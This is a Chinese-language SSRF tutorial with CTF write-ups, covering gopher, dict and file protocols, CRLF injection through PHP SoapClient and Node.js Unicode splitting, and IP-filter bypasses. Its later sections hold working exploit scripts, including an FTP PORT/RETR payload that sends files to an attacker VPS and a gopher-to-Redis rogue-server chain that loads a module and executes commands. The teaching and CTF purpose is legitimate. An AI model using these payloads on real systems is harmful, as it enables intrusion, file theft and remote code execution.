SSRF(Server-Side Request Forgery:服务器端请求伪造是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
如图是一个简单的SSRF
源码如下
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);
curl_close($ch);
}
$url = $_GET[\'url\'];
curl($url);
利用file文件可以直接读取本地文件内容,如下
file:///etc/passwd
local_file:///etc/passwd
local_file与之类似,常用于绕过
dict协议是一个字典服务器协议,通常用于让客户端使用过程中能够访问更多的字典源。通过使用dict协议可以获取目标服务器端口上运行的服务版本等信息。
如请求
dict://192.168.163.1:3306/info
可以获取目标主机的3306端口上运行着mariadb
Gopher是基于TCP经典的SSRF跳板协议了,原理如下
gopher://127.0.0.1:70/_ + TCP/IP数据(URLENCODE)
其中_
可以是任意字符,作为连接符占位
一个示例
GET /?test=123 HTTP/1.1
Host: 127.0.0.1:2222
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
URL编码后
%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
测试
curl gopher://127.0.0.1:2222/_%47%45%54%20%2f%3f%74%65%73%74%3d%31%32%33%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%3a%32%32%32%32%0d%0a%50%72%61%67%6d%61%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%43%61%63%68%65%2d%43%6f%6e%74%72%6f%6c%3a%20%6e%6f%2d%63%61%63%68%65%0d%0a%44%4e%54%3a%20%31%0d%0a%55%70%67%72%61%64%65%2d%49%6e%73%65%63%75%72%65%2d%52%65%71%75%65%73%74%73%3a%20%31%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%4d%6f%7a%69%6c%6c%61%2f%35%2e%30%20%28%57%69%6e%64%6f%77%73%20%4e%54%20%31%30%2e%30%3b%20%57%69%6e%36%34%3b%20%78%36%34%29%20%41%70%70%6c%65%57%65%62%4b%69%74%2f%35%33%37%2e%33%36%20%28%4b%48%54%4d%4c%2c%20%6c%69%6b%65%20%47%65%63%6b%6f%29%20%43%68%72%6f%6d%65%2f%38%33%2e%30%2e%34%31%30%33%2e%36%31%20%53%61%66%61%72%69%2f%35%33%37%2e%33%36%0d%0a%41%63%63%65%70%74%3a%20%74%65%78%74%2f%68%74%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%68%74%6d%6c%2b%78%6d%6c%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%6d%6c%3b%71%3d%30%2e%39%2c%69%6d%61%67%65%2f%77%65%62%70%2c%69%6d%61%67%65%2f%61%70%6e%67%2c%2a%2f%2a%3b%71%3d%30%2e%38%2c%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%69%67%6e%65%64%2d%65%78%63%68%61%6e%67%65%3b%76%3d%62%33%3b%71%3d%30%2e%39%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%2d%4c%61%6e%67%75%61%67%65%3a%20%7a%68%2d%43%4e%2c%7a%68%3b%71%3d%30%2e%39%2c%65%6e%2d%55%53%3b%71%3d%30%2e%38%2c%65%6e%3b%71%3d%30%2e%37%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%0d%0a
->
HTTP/1.1 200 OK
Host: 127.0.0.1:2222
Date: Tue, 26 May 2020 03:53:05 GMT
Connection: close
X-Powered-By: PHP/7.3.15-3
Content-type: text/html; charset=UTF-8
123
所以在SSRF
时利用gopher
协议我们就可以构造任意TCP数据包发向内网了
在HTTP的TCP包中,HTTP头是以回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)进行分割的。
下图是一个示例:
如果我们能在输入的url中注入\\r\\n
,就可以对HTTP Headers
进行修改从而控制发出的HTTP
的报文内容
比如下图
USER anonymous
等就是通过CRLF
注入插入的伪HTTP Header
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
其采用HTTP作为底层通讯协议,XML作为数据传送的格式。
在PHP中该类的构造函数如下:
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。具体可以设置的参数可见官方文档https://www.php.net/manual/zh/soapclient.construct.php
其中提供了一个接口
The user_agent option specifies string to use in User-Agent header.
此处本意是注入User_Agent
HTTP请求头,但是此处存在CRLF注入漏洞,因此我们在此处可以完全控制HTTP请求头
利用脚本如下
<?
$headers = array(//要注入的header
\'X-Forwarded-For: 127.0.0.1\',
\'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2\'
);
$a = new SoapClient(null,array(\'location\' => $target,
\'user_agent\'=>"eki\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n".join("\\r\\n",$headers)."\\r\\nContent-Length: ".(string)strlen($post_string)."\\r\\n\\r\\n".$post_string,
\'uri\' => "aaab"));
FTP是基于TCP的在计算机网络上在客户端和服务器之间进行文件传输的应用层协议
通过FTP传输的流量不会被加密,所有传输都是通过明文进行的,这点方便我们对的数据包进行编辑。
FTP协议中命令也是通过\\r\\n
分割的 同时FTP会忽略不支持的命令并继续处理下一条命令,所以我们可以直接使用HTTP作为FTP包的载荷
同时通过使用PORT
/PASS
命令打开FTP主动被动模式,可以实现TCP流量代理转发的效果
# STEP 1 向FTP服务传TCP包
TYPE I
PORT vpsip,0,port
STOR tcp.bin
# STEP 2 让FTP服务向内网发TCP包
TYPE I
PORT 172,20,0,5,105,137
RETR tcp.bin
SSRF涉及到的危险函数主要是网络访问,支持伪协议的网络读取。
PHP
Nodejs
Nodejs < 8 Unicode拆分攻击
Python
Golang
一些开发者会通过对传过来的URL参数进行正则匹配的方式来过滤掉内网IP,如采用如下正则表达式:
^10(\\.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){3}$
^172\\.([1][6-9]|[2]\\d|3[01])(\\.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){2}$
^192\\.168(\\.([2][0-4]\\d|[2][5][0-5]|[01]?\\d?\\d)){2}$
对于这种过滤我们采用改变IP写法的方式进行绕过,例如192.168.0.1这个IP地址可以被改写成:
0300.0250.0.1
0xC0.0xA8.0.1
3232235521
0xC0A80001
1.1.278
/ 1.1.755
1.278
/ 1.755
/ 3.14159267
注意IP中的每一位,各个进制是可以混用的。
访问改写后的IP地址时,Apache会报400 Bad Request,但Nginx、MySQL等其他服务仍能正常工作。
另外,0.0.0.0
这个IP可以直接访问到本地,也通常被正则过滤遗漏。
与改写IPV4类似的我们可以替换成IPV6来绕过,有些服务没有考虑IPv6的情况,但是内网又支持IPv6,则可以使用IPv6的本地IP如 [::] 0000::1 或IPv6的内网域名来绕过过滤。
如果服务端没有先解析IP再过滤内网地址,我们就可以使用localhost等解析到内网的域名。
另外xip.io
提供了一个方便的服务,这个网站的子域名会解析到对应的IP,例如192.168.0.1.xip.io
,解析到192.168.0.1
。
在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
比如 http://www.baidu.com@192.168.0.1/ 当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
如果后端服务器在接收到参数后,正确的解析了URL的host,并且进行了过滤,我们这个时候可以使用跳转的方式来进行绕过。
可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服务跳转,但是由于URL中包含了192.168.0.1这种内网IP地址,可能会被正则表达式过滤掉,可以通过短地址的方式来绕过。
常用的跳转有302跳转和307跳转,区别在于307跳转会转发POST请求中的数据等,但是302跳转不会。
针对SSRF
,有一种经典的拦截方式
获取到输入的URL,从该URL中提取host
对该host进行DNS解析,获取到解析的IP
检测该IP是否是合法的,比如是否是私有IP等
如果IP检测为合法的,则进入curl的阶段发包
第三步对IP进行了检测,避免了内网SSRF
然而不难发现此处对HOST进行了两次解析,一次是在第二步检测IP,第二次是在第四步发包。那么我们很容易有以下绕过思路
控制一个域名xxx.xxx
,第一次DNS解析,xxx.xxx
指向正常的ip,防止被拦截
第二次DNS解析,xxx.xxx
指向127.0.0.1(或其他内网地址),在第四步中curl向第二次解析得到对应的内网地址发包实现绕过
这个过程已经有了较为完善的利用工具
比如
https://github.com/nccgroup/singularity
一些平台
一些网络访问工具如Curl等是支持国际化域名(Internationalized Domain Name,IDN)的,国际化域名又称特殊字符域名,是指部分或完全使用特殊的文字或字母组成的互联网域名。
在这些字符中,部分字符会在访问时做一个等价转换,例如 ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ
和 example.com
等同。利用这种方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩
等字符绕过内网限制。
RougeMysql
Redis
云主机 FTP等
主要分析题目中的SSRF部分
目标是访问/flag.php
但限制了访问请求的来源ip必须为127.0.0.1
也就是本地访问
<?php
if(!isset($_SESSION)) session_start();
if($_SERVER[\'REMOTE_ADDR\']==="127.0.0.1"){
$_SESSION[\'flag\']= "MRCTF{Cr4zy_P0p_4nd_RCE}";
}else echo "我扌your problem?\\nonly localhost can get flag!";
?>
此题的前半部分在于typecho pop链的构造此处就不过多赘述,直接上Exp
<?php
class HelloWorld_DB{
private $flag="MRCTF{this_is_a_fake_flag}";
private $coincidence;
function __construct($coincidence){
$this->coincidence = $coincidence;
}
function __wakeup(){
$db = new Typecho_Db($this->coincidence[\'hello\'], $this->coincidence[\'world\']);
}
}
class Typecho_Request{
private $_params;
private $_filter;
function __construct($params,$filter){
$this->_params=$params;
$this->_filter=$filter;
}
}
class Typecho_Feed{
private $_type = \'ATOM 1.0\';
private $_charset = \'UTF-8\';
private $_lang = \'zh\';
private $_items = array();
public function addItem(array $item){
$this->_items[] = $item;
}
}
$target = "http://127.0.0.1/flag.php";
$post_string = \'\';
$headers = array(
\'X-Forwarded-For: 127.0.0.1\',
\'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2\'
);
$a = new SoapClient(null,array(\'location\' => $target,
\'user_agent\'=>"eki\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n".join("\\r\\n",$headers)."\\r\\nContent-Length: ".(string)strlen($post_string)."\\r\\n\\r\\n".$post_string,
\'uri\' => "aaab"));
$payload1 = new Typecho_Request(array(\'screenName\'=>array($a,"233")),array(\'call_user_func\'));
$payload2 = new Typecho_Feed();
$payload2->addItem(array(\'author\' => $payload1));
$exp1 = array(\'hello\' => $payload2, \'world\' => \'typecho\');
$exp = new HelloWorld_DB($exp1);
echo serialize($exp)."\\n";
echo urlencode(base64_encode(serialize($exp)));
其中$a
为SOAP载荷,call_user_func()
对SOAP对象进行了主动调用从而触发了请求。
这里关键是使用了PHP的SoapClient
进行了一个SSRF
<?php
$headers = array(
\'X-Forwarded-For: 127.0.0.1\',
\'Cookie: PHPSESSID=m6o9n632iub7u2vdv0pepcrbj2\'
);
$a = new SoapClient(null,array(\'location\' => $target,
\'user_agent\'=>"eki\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\n".join("\\r\\n",$headers)."\\r\\nContent-Length: ".(string)strlen($post_string)."\\r\\n\\r\\n".$post_string,
\'uri\' => "aaab"));
通过CRLF
注入PHPSESSION
然后访问/flag.php
php将flag放入session
中,我们再带着这个SESSION
去访问对应网页就能获取到存储的flag了
这个题的前半部分在于Mongodb永真式万能密码绕过,后半部分就是SSRF
首先可以打到自己vps上看看效果
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://buptmerak.cn:2333"
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
发现发送了HTTP的请求包
经过尝试该题目中存在Nodejs曾爆出的一个SSRF漏洞,即Unicode拆分攻击,可以进行CRLF注入
利用原理如下
在Node.js尝试发出一个路径中含有控制字符的HTTP请求,它们会被URL编码。
而当Node.js版本8或更低版本对此URL发出GET请求时,\\u{ff0a}\\u{ff0d}
不会进行转义,因为它们不是HTTP控制字符:
但是当结果字符串被默认编码为latin1写入路径时,这些字符将分别被截断为\\x0a\\x0d
也即\\r\\n
从而实现了CRLF
注入
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://buptmerak.cn:2333/"
payload =\'\'\'
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
\'\'\'.replace("\\n","\\r\\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0xff00+ord(i))
return ret
#url_payload = url_payload + payload.replace("\\n","\\uff0d\\uff0a")
#url_payload = url_payload + payload.replace(" ","\\uff20").replace("\\n","\\uff0d\\uff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
可以看到发回的包
已经实现了CRLF的注入,这里的payload也就是我们最终构造的FTP请求包,通过这个请求包,可以使FTP主动向我们的服务器发送上面的文件
USER anonymous 以匿名模式登录 PASS 随意 CWD 切换文件夹 TYPE I 以binary格式传输 PORT vpsip,0,1890 打开FTP主动模式 RETR 向对应ip:port 发送文件
在vps上开一个监听端口,就能监听到发来的文件了
headers = {
"Accept":"*/*",
"Authorization":"Bearer "+token,
}
url_payload = "http://ftp:8899/" #题目附件中docker-compose.yml中泄露的内网主机名
payload =\'\'\'
USER anonymous
PASS admin888
CWD files
TYPE I
PORT vpsip,0,1890
RETR flag
\'\'\'.replace("\\n","\\r\\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0xff00+ord(i))
return ret
#url_payload = url_payload + payload.replace("\\n","\\uff0d\\uff0a")
#url_payload = url_payload + payload.replace(" ","\\uff20").replace("\\n","\\uff0d\\uff0a")
url_payload = url_payload + payload_encode(payload)
print(url_payload)
json = {
"url":url_payload
}
req = r.post(url+"home",headers=headers,json=json)
print(req.text)
首先是绕过内网IP检测
<?php
function check_inner_ip($url)
{
$match_result=preg_match(\'/^(http|https|gopher|dict)?:\\/\\/.*(\\/)?.*$/\',$url);
if (!$match_result)
{
die(\'url fomat error\');
}
try
{
$url_parse=parse_url($url);
}
catch(Exception $e)
{
die(\'url fomat error\');
return false;
}
$hostname=$url_parse[\'host\'];
$ip=gethostbyname($hostname);
$int_ip=ip2long($ip);
return ip2long(\'127.0.0.0\')>>24 == $int_ip>>24 || ip2long(\'10.0.0.0\')>>24 == $int_ip>>24 || ip2long(\'172.16.0.0\')>>20 == $int_ip>>20 || ip2long(\'192.168.0.0\')>>16 == $int_ip>>16;
}
这里的gethostbyname
会把hostname转换成ipv4地址
这里我们通过0.0.0.0
进行绕过
然后内网访问hint.php
可以得到redis的密码
这里利用redis-ssrf
工具来进行下一步的渗透
在buuoj vps启动rogue-server
在本机利用ssrf-redis
生成对应gopher的payload
执行后可以RCE
import requests as r
from urllib.parse import quote
url = "http://87c1dd20-16ab-4647-b274-bee2e1981d9a.node4.buuoj.cn"
res = r.post(url,params={"url":"http://0.0.0.0/hint.php"})
print(res.text)
def generate_rce(lhost,lport,passwd,command="cat /etc/passwd"):
exp_filename="exp.so"
cmd=[
"SLAVEOF {} {}".format(lhost,lport),
"CONFIG SET dir /tmp/",
"config set dbfilename {}".format(exp_filename),
"MODULE LOAD /tmp/{}".format(exp_filename),
"system.exec {}".format(command.replace(" ","${IFS}")),
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd
def rce_cleanup():
exp_filename="exp.so"
cmd=[
"SLAVEOF NO ONE",
"CONFIG SET dbfilename dump.rdb",
"system.exec rm /tmp/{}".format(exp_filename).replace(" ","${IFS}"),
"MODULE UNLOAD system",
"quit"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
return cmd
def redis_format(arr):
CRLF="\\r\\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x)))+CRLF+x
cmd+=CRLF
return cmd
lhost="81.70.154.76"
lport="20998"
passwd = "root"
command="cat /flag"
cmd=generate_rce(lhost,lport,passwd,command)
protocol="gopher://"
ip="0.0.0.0"
port="6379"
payload=protocol+ip+":"+port+"/_"
for x in cmd:
payload += quote(redis_format(x).replace("^"," "))
#payload = "gopher://0.0.0.0:6379/_%2A2%0D%0A%244%0D%0AAUTH%0D%0A%244%0D%0Aroot%0D%0A%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2412%0D%0A81.70.154.76%0D%0A%245%0D%0A20998%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%246%0D%0Awhoami%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A"
res = r.post(url,params={"url":payload})
print(res.text)
https://websec.readthedocs.io/zh/latest/vuln/ssrf.html
https://blog.brycec.me/posts/starctf2021_writeups/#oh-my-bet